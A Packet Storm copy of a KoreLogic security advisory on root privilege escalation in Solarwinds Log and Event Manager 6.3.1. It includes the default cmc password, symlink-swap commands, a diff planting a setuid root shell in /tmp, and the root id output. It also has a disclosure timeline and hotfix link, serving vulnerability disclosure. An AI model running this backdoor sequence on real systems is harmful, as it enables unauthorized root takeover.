exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Solarwinds LEM 6.3.1 Sudo Privilege Escalation

Solarwinds LEM 6.3.1 Sudo Privilege Escalation
Posted Apr 24, 2017
Authored by Hank Leininger, Matthew Bergin | Site korelogic.com

Due to lax filesystem permissions, an attacker can take control of a hardcoded sudo path in order to execute commands as a privileged user on Solarwinds Log and Event Manager Virtual Appliance version 6.3.1.

tags | exploit
SHA-256 | 3f138413d3ee07b7fb98c0ec9430dcebbf62f40cd8ffb3fa592f0455512444f9

Solarwinds LEM 6.3.1 Sudo Privilege Escalation

Change Mirror Download
KL-001-2017-005 : Solarwinds LEM Privilege Escalation via Controlled Sudo Path

Title: Solarwinds LEM Privilege Escalation via Controlled Sudo Path
Advisory ID: KL-001-2017-005
Publication Date: 2017.04.24
Publication URL: https://www.korelogic.com/Resources/Advisories/KL-001-2017-005.txt


1. Vulnerability Details

Affected Vendor: Solarwinds
Affected Product: Log and Event Manager Virtual Appliance
Affected Version: v6.3.1
Platform: Embedded Linux
CWE Classification: CWE-281: Improper Preservation of Permissions,
CWE-708: Incorrect Ownership Assignment
Impact: Privileged Access
Attack vector: SSH

2. Vulnerability Description

Due to lax filesystem permissions, an attacker can take control
of a hardcoded sudo path in order to execute commands as a
privileged user.

3. Technical Description

Should an attacker gain access to the SSH console for the
cmc user, root access to the underlying operating system can be
achieved. The default password for the cmc user is "password".

Due to underlying filesystem permissions, it is possible
for the cmc user to assume control of a path hardcoded in
the sudoers file. The attack is started by moving the scripts
directory and creating a symlink to a (now) attacker controlled
scripts directory.

cmc@swi-lem:/usr/local/contego$ mv scripts scripts.real && mkdir scripts && cd scripts.real && for A in * ; do ln
-s ../scripts.real/${A} ../scripts/${A} ; done

Next, a file specified in the sudoers file is overwritten and
then executed using sudo.

cmc@swi-lem:/usr/local/contego/scripts$ diff -u hostname.sh hostname.sh.backdoor
--- hostname.sh 2005-07-01 20:10:17.000000000 -0700
+++ hostname.sh.backdoor 2016-12-11 12:20:35.000000000 -0800
@@ -1,5 +1,10 @@
#!/bin/sh
+# create a backdoor setuid shell
+cp /bin/dash /tmp/sushi
+chown root:root /tmp/sushi
+chmod 4755 /tmp/sushi
+
[snip]
cmc@swi-lem:/usr/local/contego/scripts$ rm hostname.sh && mv -i hostname.sh.backdoor hostname.sh
cmc@swi-lem:/usr/local/contego$ sudo /usr/local/contego/scripts/hostname.sh

This results in a suid dash shell being output to /tmp/sushi.

cmc@swi-lem:/usr/local/contego$ ls -ld /tmp/sushi
-rwsr-xr-x 1 root root 104168 Dec 11 12:21 /tmp/sushi

Running this shell results in root privileges.

cmc@swi-lem:/usr/local/contego$ /tmp/sushi
# id
uid=1001(cmc) gid=1000(trigeo) euid=0(root)
groups=0(root),4(adm),24(cdrom),25(floppy),104(postgres),105(snort),1000(trigeo),1002(dbadmin)

4. Mitigation and Remediation Recommendation

The vendor has released a Hotfix to remediate this
vulnerability. Hotfix and installation instructions are
available at:

https://thwack.solarwinds.com/thread/111223

5. Credit

This vulnerability was discovered by Hank Leininger and Matt
Bergin (@thatguylevel) of KoreLogic, Inc.

6. Disclosure Timeline

2017.02.16 - KoreLogic sends vulnerability report and PoC to
Solarwinds <psirt@solarwinds.com> using PGP key
with fingerprint
A86E 0CF6 9665 0C8C 8A7C C9BA B373 8E9F 951F 918F.
2017.02.20 - Solarwinds replies that the key is no longer in
use, requests alternate communication channel.
2017.02.22 - KoreLogic submits vulnerability report and PoC to
alternate Solarwinds contact.
2017.02.23 - Solarwinds confirms receipt of vulnerability
report.
2017.04.06 - 30 business days have elapsed since Solarwinds
acknowledged receipt of vulnerability details.
2017.04.11 - Solarwinds releases hotfix and public disclosure.
2017.04.24 - KoreLogic public disclosure.

7. Proof of Concept

See 3. Technical Description


The contents of this advisory are copyright(c) 2017
KoreLogic, Inc. and are licensed under a Creative Commons
Attribution Share-Alike 4.0 (United States) License:
http://creativecommons.org/licenses/by-sa/4.0/

KoreLogic, Inc. is a founder-owned and operated company with a
proven track record of providing security services to entities
ranging from Fortune 500 to small and mid-sized companies. We
are a highly skilled team of senior security consultants doing
by-hand security assessments for the most important networks in
the U.S. and around the world. We are also developers of various
tools and resources aimed at helping the security community.
https://www.korelogic.com/about-korelogic.html

Our public vulnerability disclosure policy is available at:
https://www.korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy.v2.2.txt

Login or Register to add favorites

File Archive:

July 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    27 Files
  • 2
    Jul 2nd
    10 Files
  • 3
    Jul 3rd
    35 Files
  • 4
    Jul 4th
    27 Files
  • 5
    Jul 5th
    18 Files
  • 6
    Jul 6th
    0 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    28 Files
  • 9
    Jul 9th
    44 Files
  • 10
    Jul 10th
    24 Files
  • 11
    Jul 11th
    25 Files
  • 12
    Jul 12th
    11 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    0 Files
  • 16
    Jul 16th
    0 Files
  • 17
    Jul 17th
    0 Files
  • 18
    Jul 18th
    0 Files
  • 19
    Jul 19th
    0 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    0 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close